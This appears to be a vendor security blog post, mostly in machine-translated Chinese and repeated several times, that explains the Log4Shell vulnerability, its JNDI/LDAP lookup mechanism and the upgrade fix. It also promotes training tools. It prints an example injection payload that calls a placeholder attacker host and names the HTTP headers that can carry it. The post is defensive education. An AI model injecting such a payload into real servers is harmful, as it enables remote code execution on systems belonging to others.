
解释Log4j漏洞--它的攻击媒介和如何防止它的发生
12月9日,Java库Log4j的一个0日漏洞被披露。CVE-44228被称为Log4Shell,由于该漏洞可导致远程代码执行(RCE),因此获得了 "高严重性 "评级。此外,log4j-core是正在使用的最常见的Java日志库之一,因此它使数百万的应用程序处于危险之中。
想快速提高你处理Log4Shell的技能吗?
我们建立了一个展示平台,让你从Log4Shell的基本概念到在一个叫做Mission的模拟器中体验这个漏洞的利用。在这个任务中,我们将引导你了解Log4j漏洞如何影响你的基础设施和应用程序。点击这里直接跳到展示区,或者继续阅读以了解更多关于该漏洞的细节。
旧闻?
这个漏洞并不新鲜。安全研究人员Alvaro Muñoz和Oleksandr Mirosh在他们2016年的BlackHat演讲中已经强调,"应用程序不应该使用不受信任的数据进行JNDI查询",并说明了一个有针对性的JNDI/LDAP注入如何导致远程代码执行。而这正是Log4Shell的核心所在。
攻击矢量
Log4Shell的注入有效载荷看起来像这样。
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
接下来是JNDI,即Java命名和目录接口,它是一个API,允许与使用LDAP、DNS、RMI等协议的服务连接,以检索数据或资源。简单地说,在我们上面的恶意有效载荷例子中,JNDI对攻击者控制的LDAP服务器进行查询。例如,它的响应可能指向一个包含恶意代码的Java类文件,而这个文件将在易受攻击的服务器上被执行。
这个漏洞之所以有问题,是因为Log4j会评估所有的日志条目,它会对所有用EL语法编写的、以 "jndi "为前缀的日志用户输入进行查找。有效载荷可以被注入到用户可以输入数据的任何地方,如表单字段。此外,HTTP头信息,如User-Agent和X-Forwarded-For,以及其他头信息,都可以被定制来携带有效载荷。
要想亲自体验这个漏洞,请到我们的展示区,跳到第二步--"体验影响"。
预防。认识
升级是所有应用程序的建议行动,因为Log4j一直在修补有漏洞的代码。然而,2.15.0和2.16.0版本包含一个DDoS和其他漏洞,这意味着从12月下旬开始,建议升级到2.17.0。
作为编写代码的开发者,我们需要随时考虑到安全问题。Log4Shell告诉我们,在使用第三方框架或库时存在风险。我们需要意识到一个事实,即我们的应用程序的安全性可能会因为使用外部资源而受到影响,我们天真地认为这些资源是安全的。
这个漏洞是否可以被预防?是的,也不是。一方面,开发人员只能做这么多,因为脆弱的组件是通过第三方软件引入的。另一方面,从这一事件中得到的教训是一个被反复强调的教训,即永远不要相信用户输入。
Secure Code Warrior ,相信有安全意识的开发人员是防止代码中出现漏洞的最佳途径。由于SCW提供了针对编程框架的规模化培训,企业客户通过利用报告数据,迅速找到了谁是受影响的Java开发人员。他们还依靠他们经过SCW培训的安全冠军来加速升级Log4j。
特别是对于Java开发者,Secure Code Warrior ,提供Sensei ,一个免费的IntelliJ插件。这个基于规则的代码分析工具可以用来执行编码准则,并防止和补救漏洞。你可以创建你自己的规则,或者使用我们现成的食谱。浏览我们的食谱,别忘了下载我们的Log4j食谱,它将帮助你在眨眼间定位并修复Log4Shell漏洞。
提高你防御Log4Shell的技能
有兴趣将你在这篇博文中学到的东西付诸实践吗?我们的展示会可以帮助你。在展示会的开始,你将快速回顾这个漏洞,然后你将被带到一个模拟的环境,在那里你可以在指导下尝试利用这个漏洞。


2021年12月,Java库Log4j中的一个关键安全漏洞Log4Shell被披露。在这篇文章中,我们将Log4Shell漏洞分解成最简单的形式,让你掌握基本情况,并向你介绍一个任务--一个你可以尝试用这个漏洞的知识来利用一个模拟网站的游乐场。

Secure Code Warrior 我们在这里为您的组织提供服务,帮助您在整个软件开发生命周期中确保代码安全,并创造一种将网络安全放在首位的文化。无论您是应用安全经理、开发人员、CISO或任何涉及安全的人,我们都可以帮助您的组织减少与不安全代码有关的风险。
预定一个演示Laura Verheyde 是Secure Code Warrior 的一名软件开发人员,主要负责研究漏洞并为Missions 和编码实验室创建内容。


12月9日,Java库Log4j的一个0日漏洞被披露。CVE-44228被称为Log4Shell,由于该漏洞可导致远程代码执行(RCE),因此获得了 "高严重性 "评级。此外,log4j-core是正在使用的最常见的Java日志库之一,因此它使数百万的应用程序处于危险之中。
想快速提高你处理Log4Shell的技能吗?
我们建立了一个展示平台,让你从Log4Shell的基本概念到在一个叫做Mission的模拟器中体验这个漏洞的利用。在这个任务中,我们将引导你了解Log4j漏洞如何影响你的基础设施和应用程序。点击这里直接跳到展示区,或者继续阅读以了解更多关于该漏洞的细节。
旧闻?
这个漏洞并不新鲜。安全研究人员Alvaro Muñoz和Oleksandr Mirosh在他们2016年的BlackHat演讲中已经强调,"应用程序不应该使用不受信任的数据进行JNDI查询",并说明了一个有针对性的JNDI/LDAP注入如何导致远程代码执行。而这正是Log4Shell的核心所在。
攻击矢量
Log4Shell的注入有效载荷看起来像这样。
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
接下来是JNDI,即Java命名和目录接口,它是一个API,允许与使用LDAP、DNS、RMI等协议的服务连接,以检索数据或资源。简单地说,在我们上面的恶意有效载荷例子中,JNDI对攻击者控制的LDAP服务器进行查询。例如,它的响应可能指向一个包含恶意代码的Java类文件,而这个文件将在易受攻击的服务器上被执行。
这个漏洞之所以有问题,是因为Log4j会评估所有的日志条目,它会对所有用EL语法编写的、以 "jndi "为前缀的日志用户输入进行查找。有效载荷可以被注入到用户可以输入数据的任何地方,如表单字段。此外,HTTP头信息,如User-Agent和X-Forwarded-For,以及其他头信息,都可以被定制来携带有效载荷。
要想亲自体验这个漏洞,请到我们的展示区,跳到第二步--"体验影响"。
预防。认识
升级是所有应用程序的建议行动,因为Log4j一直在修补有漏洞的代码。然而,2.15.0和2.16.0版本包含一个DDoS和其他漏洞,这意味着从12月下旬开始,建议升级到2.17.0。
作为编写代码的开发者,我们需要随时考虑到安全问题。Log4Shell告诉我们,在使用第三方框架或库时存在风险。我们需要意识到一个事实,即我们的应用程序的安全性可能会因为使用外部资源而受到影响,我们天真地认为这些资源是安全的。
这个漏洞是否可以被预防?是的,也不是。一方面,开发人员只能做这么多,因为脆弱的组件是通过第三方软件引入的。另一方面,从这一事件中得到的教训是一个被反复强调的教训,即永远不要相信用户输入。
Secure Code Warrior ,相信有安全意识的开发人员是防止代码中出现漏洞的最佳途径。由于SCW提供了针对编程框架的规模化培训,企业客户通过利用报告数据,迅速找到了谁是受影响的Java开发人员。他们还依靠他们经过SCW培训的安全冠军来加速升级Log4j。
特别是对于Java开发者,Secure Code Warrior ,提供Sensei ,一个免费的IntelliJ插件。这个基于规则的代码分析工具可以用来执行编码准则,并防止和补救漏洞。你可以创建你自己的规则,或者使用我们现成的食谱。浏览我们的食谱,别忘了下载我们的Log4j食谱,它将帮助你在眨眼间定位并修复Log4Shell漏洞。
提高你防御Log4Shell的技能
有兴趣将你在这篇博文中学到的东西付诸实践吗?我们的展示会可以帮助你。在展示会的开始,你将快速回顾这个漏洞,然后你将被带到一个模拟的环境,在那里你可以在指导下尝试利用这个漏洞。

12月9日,Java库Log4j的一个0日漏洞被披露。CVE-44228被称为Log4Shell,由于该漏洞可导致远程代码执行(RCE),因此获得了 "高严重性 "评级。此外,log4j-core是正在使用的最常见的Java日志库之一,因此它使数百万的应用程序处于危险之中。
想快速提高你处理Log4Shell的技能吗?
我们建立了一个展示平台,让你从Log4Shell的基本概念到在一个叫做Mission的模拟器中体验这个漏洞的利用。在这个任务中,我们将引导你了解Log4j漏洞如何影响你的基础设施和应用程序。点击这里直接跳到展示区,或者继续阅读以了解更多关于该漏洞的细节。
旧闻?
这个漏洞并不新鲜。安全研究人员Alvaro Muñoz和Oleksandr Mirosh在他们2016年的BlackHat演讲中已经强调,"应用程序不应该使用不受信任的数据进行JNDI查询",并说明了一个有针对性的JNDI/LDAP注入如何导致远程代码执行。而这正是Log4Shell的核心所在。
攻击矢量
Log4Shell的注入有效载荷看起来像这样。
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
接下来是JNDI,即Java命名和目录接口,它是一个API,允许与使用LDAP、DNS、RMI等协议的服务连接,以检索数据或资源。简单地说,在我们上面的恶意有效载荷例子中,JNDI对攻击者控制的LDAP服务器进行查询。例如,它的响应可能指向一个包含恶意代码的Java类文件,而这个文件将在易受攻击的服务器上被执行。
这个漏洞之所以有问题,是因为Log4j会评估所有的日志条目,它会对所有用EL语法编写的、以 "jndi "为前缀的日志用户输入进行查找。有效载荷可以被注入到用户可以输入数据的任何地方,如表单字段。此外,HTTP头信息,如User-Agent和X-Forwarded-For,以及其他头信息,都可以被定制来携带有效载荷。
要想亲自体验这个漏洞,请到我们的展示区,跳到第二步--"体验影响"。
预防。认识
升级是所有应用程序的建议行动,因为Log4j一直在修补有漏洞的代码。然而,2.15.0和2.16.0版本包含一个DDoS和其他漏洞,这意味着从12月下旬开始,建议升级到2.17.0。
作为编写代码的开发者,我们需要随时考虑到安全问题。Log4Shell告诉我们,在使用第三方框架或库时存在风险。我们需要意识到一个事实,即我们的应用程序的安全性可能会因为使用外部资源而受到影响,我们天真地认为这些资源是安全的。
这个漏洞是否可以被预防?是的,也不是。一方面,开发人员只能做这么多,因为脆弱的组件是通过第三方软件引入的。另一方面,从这一事件中得到的教训是一个被反复强调的教训,即永远不要相信用户输入。
Secure Code Warrior ,相信有安全意识的开发人员是防止代码中出现漏洞的最佳途径。由于SCW提供了针对编程框架的规模化培训,企业客户通过利用报告数据,迅速找到了谁是受影响的Java开发人员。他们还依靠他们经过SCW培训的安全冠军来加速升级Log4j。
特别是对于Java开发者,Secure Code Warrior ,提供Sensei ,一个免费的IntelliJ插件。这个基于规则的代码分析工具可以用来执行编码准则,并防止和补救漏洞。你可以创建你自己的规则,或者使用我们现成的食谱。浏览我们的食谱,别忘了下载我们的Log4j食谱,它将帮助你在眨眼间定位并修复Log4Shell漏洞。
提高你防御Log4Shell的技能
有兴趣将你在这篇博文中学到的东西付诸实践吗?我们的展示会可以帮助你。在展示会的开始,你将快速回顾这个漏洞,然后你将被带到一个模拟的环境,在那里你可以在指导下尝试利用这个漏洞。
12月9日,Java库Log4j的一个0日漏洞被披露。CVE-44228被称为Log4Shell,由于该漏洞可导致远程代码执行(RCE),因此获得了 "高严重性 "评级。此外,log4j-core是正在使用的最常见的Java日志库之一,因此它使数百万的应用程序处于危险之中。
想快速提高你处理Log4Shell的技能吗?
我们建立了一个展示平台,让你从Log4Shell的基本概念到在一个叫做Mission的模拟器中体验这个漏洞的利用。在这个任务中,我们将引导你了解Log4j漏洞如何影响你的基础设施和应用程序。点击这里直接跳到展示区,或者继续阅读以了解更多关于该漏洞的细节。
旧闻?
这个漏洞并不新鲜。安全研究人员Alvaro Muñoz和Oleksandr Mirosh在他们2016年的BlackHat演讲中已经强调,"应用程序不应该使用不受信任的数据进行JNDI查询",并说明了一个有针对性的JNDI/LDAP注入如何导致远程代码执行。而这正是Log4Shell的核心所在。
攻击矢量
Log4Shell的注入有效载荷看起来像这样。
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
接下来是JNDI,即Java命名和目录接口,它是一个API,允许与使用LDAP、DNS、RMI等协议的服务连接,以检索数据或资源。简单地说,在我们上面的恶意有效载荷例子中,JNDI对攻击者控制的LDAP服务器进行查询。例如,它的响应可能指向一个包含恶意代码的Java类文件,而这个文件将在易受攻击的服务器上被执行。
这个漏洞之所以有问题,是因为Log4j会评估所有的日志条目,它会对所有用EL语法编写的、以 "jndi "为前缀的日志用户输入进行查找。有效载荷可以被注入到用户可以输入数据的任何地方,如表单字段。此外,HTTP头信息,如User-Agent和X-Forwarded-For,以及其他头信息,都可以被定制来携带有效载荷。
要想亲自体验这个漏洞,请到我们的展示区,跳到第二步--"体验影响"。
预防。认识
升级是所有应用程序的建议行动,因为Log4j一直在修补有漏洞的代码。然而,2.15.0和2.16.0版本包含一个DDoS和其他漏洞,这意味着从12月下旬开始,建议升级到2.17.0。
作为编写代码的开发者,我们需要随时考虑到安全问题。Log4Shell告诉我们,在使用第三方框架或库时存在风险。我们需要意识到一个事实,即我们的应用程序的安全性可能会因为使用外部资源而受到影响,我们天真地认为这些资源是安全的。
这个漏洞是否可以被预防?是的,也不是。一方面,开发人员只能做这么多,因为脆弱的组件是通过第三方软件引入的。另一方面,从这一事件中得到的教训是一个被反复强调的教训,即永远不要相信用户输入。
Secure Code Warrior ,相信有安全意识的开发人员是防止代码中出现漏洞的最佳途径。由于SCW提供了针对编程框架的规模化培训,企业客户通过利用报告数据,迅速找到了谁是受影响的Java开发人员。他们还依靠他们经过SCW培训的安全冠军来加速升级Log4j。
特别是对于Java开发者,Secure Code Warrior ,提供Sensei ,一个免费的IntelliJ插件。这个基于规则的代码分析工具可以用来执行编码准则,并防止和补救漏洞。你可以创建你自己的规则,或者使用我们现成的食谱。浏览我们的食谱,别忘了下载我们的Log4j食谱,它将帮助你在眨眼间定位并修复Log4Shell漏洞。
提高你防御Log4Shell的技能
有兴趣将你在这篇博文中学到的东西付诸实践吗?我们的展示会可以帮助你。在展示会的开始,你将快速回顾这个漏洞,然后你将被带到一个模拟的环境,在那里你可以在指导下尝试利用这个漏洞。
资源
Secure Code Warrior corporate overview
Secure Code Warrior is an AI Software Governance platform designed to enable organizations to safely adopt AI-driven development by bridging the gap between development velocity and enterprise security. The platform addresses the "Visibility Gap," where security teams often lack insights into shadow AI coding tools and the origins of production code.
安全代码培训主题和内容
Our industry-leading content is always evolving to fit the ever changing software development landscape with your role in mind. Topics covering everything from AI to XQuery Injection, offered for a variety of roles from Architects and Engineers to Product Managers and QA. Get a sneak peek of what our content catalog has to offer by topic and role.
资源
Observe and Secure the ADLC: A Four-Point Framework for CISOs and Development Teams Using AI
While development teams look to make the most of GenAI’s undeniable benefits, we’d like to propose a four-point foundational framework that will allow security leaders to deploy AI coding tools and agents with a higher, more relevant standard of security best practices. It details exactly what enterprises can do to ensure safe, secure code development right now, and as agentic AI becomes an even bigger factor in the future.






